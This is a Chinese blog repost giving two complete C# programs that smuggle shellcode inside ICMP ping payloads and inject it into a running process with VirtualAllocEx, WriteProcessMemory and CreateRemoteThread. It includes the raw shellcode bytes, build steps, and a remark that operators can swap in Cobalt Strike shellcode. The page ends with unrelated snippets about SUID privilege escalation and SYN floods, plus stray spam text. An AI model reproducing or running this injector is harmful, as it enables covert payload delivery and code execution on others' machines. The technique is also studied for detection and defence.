<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    使用 ICMP 傳遞 shellcode

    Andrew2021-02-17 21:59:14
    在研究不同的滲透方法時,我遇到了一種利用DNS的技術。在編寫概念證明代碼時,我注意到實現的ping函數很有趣。我們可以提供一個可容納65,500字節的緩沖區。由于大小限制很大,我們可以將shellcode加載到我們的ICMP請求中,然后將其注入到目標的進程中。

    在原博客中給出了兩個c#源碼

    shellcodeInjector.cs

    using System.Net.NetworkInformation;namespace shellcodeInjector{    class Program    {                       public static void sendShellcode()        {            Ping pingSender = new Ping();            int timeout = 10000;            byte[] buf = new byte[311] {0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x0d,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x50,0x69,0x6e,0x67,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x00,0x53,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x76,0x69,0x61,0x20,0x50,0x49,0x4e,0x47,0x00 };            PingOptions options = new PingOptions(64, true);            pingSender.Send("VictimPrivIPHere", timeout, buf, options);        }        static void Main(string[] args)        {            sendShellcode();        }    }}

    pingInjection.cs

    using System;using System.Net;using System.Net.Sockets;using System.Runtime.InteropServices;namespace PingInjection{    class Program    {        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processID);        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, uint dwSize, uint flAllocationType, uint flProtect);        [DllImport("kernel32.dll")]        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);        [DllImport("kernel32.dll")]        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);        public static void shellcodeInjection(byte[] shellcode)        {            int notepadPID = 7972;            IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);            byte[] buf = shellcode;            IntPtr outSize;            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);        }        public static byte[] getShellcode()        {            Socket icmpListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);            icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.0.15"), 0));            icmpListener.IOControl(IOControlCode.ReceiveAll, new byte[] { 1, 0, 0, 0 }, new byte[] { 1, 0, 0, 0 });            byte[] buffer = new byte[4096];            EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);            byte[] shellcode = new byte[4068];            var bytesRead = icmpListener.ReceiveFrom(buffer, ref remoteEndPoint);            System.Buffer.BlockCopy(buffer, 28, shellcode, 0, 4068);            return shellcode;        }        static void Main(string[] args)        {            byte[] shellcode = getShellcode();            shellcodeInjection(shellcode);        }    }}

    源碼不難,這里就不一一分析了。

    使用Vs編譯好2個c#。

    新建一個C#的控制臺應用

    圖片

    這里放進我們的shellcode,這里使用原代碼進行演示

    圖片

    編譯

    然后編譯pingInjection.cs

    注意修改ip地址:

    圖片

    ok 我們都編譯好了
    圖片

    剩下要做的就是運行兩個應用程序。首先,我們啟動偵聽器,然后啟動注入器。

    圖片

    在實戰中我們把shellcode替換成我們的shellcode就行。例如CS的。

    原文:https://blog.romanrii.com/using-icmp-to-de...

    icmpstatic
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    使用 ICMP 傳遞 shellcode
    2021-02-17 21:59:14
    在研究不同的滲透方法時,我遇到了一種利用DNS的技術。在編寫概念證明代碼時,我注意到實現的ping函數很有趣。我們可以提供一個可容納65,500字節的緩沖區。由于大小限制很大,我們可以將shellcode加載到我們的ICMP請求中,然后將其注入到目標的進程中。
    近期對nmap的操作系統識別功能造了個輪子,用golang實現了一遍,想未來能用于掃描器,資產發現/管理系統
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    需要這種特殊權限的場景在Linux下很常見。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。比如,/bin/ping這個程序的所有者是root,它設置了s位,那么普通用戶在運行ping時其Effective UID就是0,等同于擁有了root權限。這里引入了一個新的概念Effective UID。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。
    需要這種特殊權限的場景在Linux下很常見。已知的可以用來提權的Linux可執行文件有:CopyNmap、Vim、find、Bash、More、Less、Nano、cp比如常用的ping命令。
    Linux|suid提權總結
    2021-09-15 09:38:59
    suid即set user id,是一種授予文件的權限類型,它允許用戶使用者以文件所有者的權限來執行文件。需要這種特殊權限的場景在Linux下很常見。
    雖然網上有大量從零搭建?的文章,但大都針對老版本,若直接照搬去安裝最新的?版本會遇到一堆問題。故此將我的安裝步驟記錄下來,希望能為讀者提供?式的集群搭建幫助。服務等,可供用戶免費下載、使用和分享。??啟動的三節點服務已經配置好了以下使用?節點進行演示查看,其他節點操作均一致#?
    雖然網上有大量從零搭建 K8S 的文章,但大都針對老版本,若直接照搬去安裝最新的 1.20 版本會遇到一堆問題。故此將我的安裝步驟記錄下來,希望能為讀者提供 copy and paste 式的集群搭建幫助。
    SYN FLOOD攻擊是在TCP三次握手過程中產生的。攻擊者通過發送大量偽造的帶有SYN標志位的TCP報文,與目標主機建立了很多虛假的半開連接,在服務器返回SYN+ACK數據包后,攻擊者不對其做出響應,也就是不返回ACK數據包給服務器,這樣服務器就會一直等待直到超時。這種攻擊方式會使目標服務器連接資源耗盡、鏈路堵塞,從而達到拒絕服務的目的。
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类